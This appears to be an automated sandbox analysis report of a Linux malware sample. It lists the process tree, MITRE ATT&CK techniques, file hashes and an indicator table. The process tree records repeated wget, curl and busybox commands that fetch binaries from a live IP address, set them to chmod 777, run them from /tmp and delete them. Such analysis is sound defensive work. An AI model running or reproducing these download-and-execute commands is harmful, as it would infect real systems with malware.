- /bin/rm
  rm ZvBqjEsV7Kyxi49PhGENCfggNwTaO8Tg1p
  2⤵
  PID:878
- /usr/bin/wget
  wget http://216.126.231.240/bins/2S6OKPdb5JwW7jfdSg2Zhs6wXDMfQEd8W8
  2⤵
  PID:879
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/2S6OKPdb5JwW7jfdSg2Zhs6wXDMfQEd8W8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:880
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/2S6OKPdb5JwW7jfdSg2Zhs6wXDMfQEd8W8
  2⤵
  PID:881
- /bin/chmod
  chmod 777 2S6OKPdb5JwW7jfdSg2Zhs6wXDMfQEd8W8
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/2S6OKPdb5JwW7jfdSg2Zhs6wXDMfQEd8W8
  ./2S6OKPdb5JwW7jfdSg2Zhs6wXDMfQEd8W8
  2⤵
  - Executes dropped EXE
  PID:883
- /bin/rm
  rm 2S6OKPdb5JwW7jfdSg2Zhs6wXDMfQEd8W8
  2⤵
  PID:884
- /usr/bin/wget
  wget http://216.126.231.240/bins/iSo6yQ1TNJtkmzWu8Fpl9Pv3tlba29oh3l
  2⤵
  PID:885
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/iSo6yQ1TNJtkmzWu8Fpl9Pv3tlba29oh3l
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:886
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/iSo6yQ1TNJtkmzWu8Fpl9Pv3tlba29oh3l
  2⤵
  PID:887
- /bin/chmod
  chmod 777 iSo6yQ1TNJtkmzWu8Fpl9Pv3tlba29oh3l
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/iSo6yQ1TNJtkmzWu8Fpl9Pv3tlba29oh3l
  ./iSo6yQ1TNJtkmzWu8Fpl9Pv3tlba29oh3l
  2⤵
  - Executes dropped EXE
  PID:889
- /bin/rm
  rm iSo6yQ1TNJtkmzWu8Fpl9Pv3tlba29oh3l
  2⤵
  PID:890
- /usr/bin/wget
  wget http://216.126.231.240/bins/0PhfGlTa3KDupdftmgk9X3paSSPbSaNATh
  2⤵
  PID:891
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/0PhfGlTa3KDupdftmgk9X3paSSPbSaNATh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:892
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/0PhfGlTa3KDupdftmgk9X3paSSPbSaNATh
  2⤵
  PID:893
- /bin/chmod
  chmod 777 0PhfGlTa3KDupdftmgk9X3paSSPbSaNATh
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/0PhfGlTa3KDupdftmgk9X3paSSPbSaNATh
  ./0PhfGlTa3KDupdftmgk9X3paSSPbSaNATh
  2⤵
  - Executes dropped EXE
  PID:895
- /bin/rm
  rm 0PhfGlTa3KDupdftmgk9X3paSSPbSaNATh
  2⤵
  PID:896
- /usr/bin/wget
  wget http://216.126.231.240/bins/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
  2⤵
  PID:897
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
  2⤵
  PID:901
- /bin/chmod
  chmod 777 oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
  ./oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
  2⤵
  PID:904
- /usr/bin/wget
  wget http://216.126.231.240/bins/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
  2⤵
  PID:905
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
  2⤵
  PID:907
- /bin/chmod
  chmod 777 GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
  ./GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
  2⤵
  PID:910
- /usr/bin/wget
  wget http://216.126.231.240/bins/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
  2⤵
  PID:913
- /bin/chmod
  chmod 777 VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
  ./VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
  2⤵
  PID:916
- /usr/bin/wget
  wget http://216.126.231.240/bins/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
  2⤵
  PID:917
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
  2⤵
  PID:919
- /bin/chmod
  chmod 777 NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
  ./NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
  2⤵
  - Executes dropped EXE
  PID:921
- /bin/rm
  rm NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
  2⤵
  PID:922

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

GkADRUpSSm0RUj5aype8y9pTa8mHIFil12

Path /tmp/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12	673	GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
/tmp/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg	685	VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
/tmp/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW	710	NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
/tmp/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D	737	oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
/tmp/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf	747	nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
/tmp/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2	770	Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
/tmp/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr	786	sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
/tmp/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB	792	6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
/tmp/iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL	798	iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
/tmp/na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU	804	na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
/tmp/ZvBqjEsV7Kyxi49PhGENCfggNwTaO8Tg1p	810	ZvBqjEsV7Kyxi49PhGENCfggNwTaO8Tg1p
/tmp/2S6OKPdb5JwW7jfdSg2Zhs6wXDMfQEd8W8	816	2S6OKPdb5JwW7jfdSg2Zhs6wXDMfQEd8W8
/tmp/iSo6yQ1TNJtkmzWu8Fpl9Pv3tlba29oh3l	824	iSo6yQ1TNJtkmzWu8Fpl9Pv3tlba29oh3l
/tmp/0PhfGlTa3KDupdftmgk9X3paSSPbSaNATh	830	0PhfGlTa3KDupdftmgk9X3paSSPbSaNATh
/tmp/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB	836	6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
/tmp/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf	842	nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
/tmp/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2	848	Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
/tmp/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr	857	sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
/tmp/iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL	865	iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
/tmp/na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU	871	na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
/tmp/ZvBqjEsV7Kyxi49PhGENCfggNwTaO8Tg1p	877	ZvBqjEsV7Kyxi49PhGENCfggNwTaO8Tg1p
/tmp/2S6OKPdb5JwW7jfdSg2Zhs6wXDMfQEd8W8	883	2S6OKPdb5JwW7jfdSg2Zhs6wXDMfQEd8W8
/tmp/iSo6yQ1TNJtkmzWu8Fpl9Pv3tlba29oh3l	889	iSo6yQ1TNJtkmzWu8Fpl9Pv3tlba29oh3l
/tmp/0PhfGlTa3KDupdftmgk9X3paSSPbSaNATh	895	0PhfGlTa3KDupdftmgk9X3paSSPbSaNATh
/tmp/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D	903	oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
/tmp/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12	909	GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
/tmp/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg	915	VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
/tmp/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW	921	NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads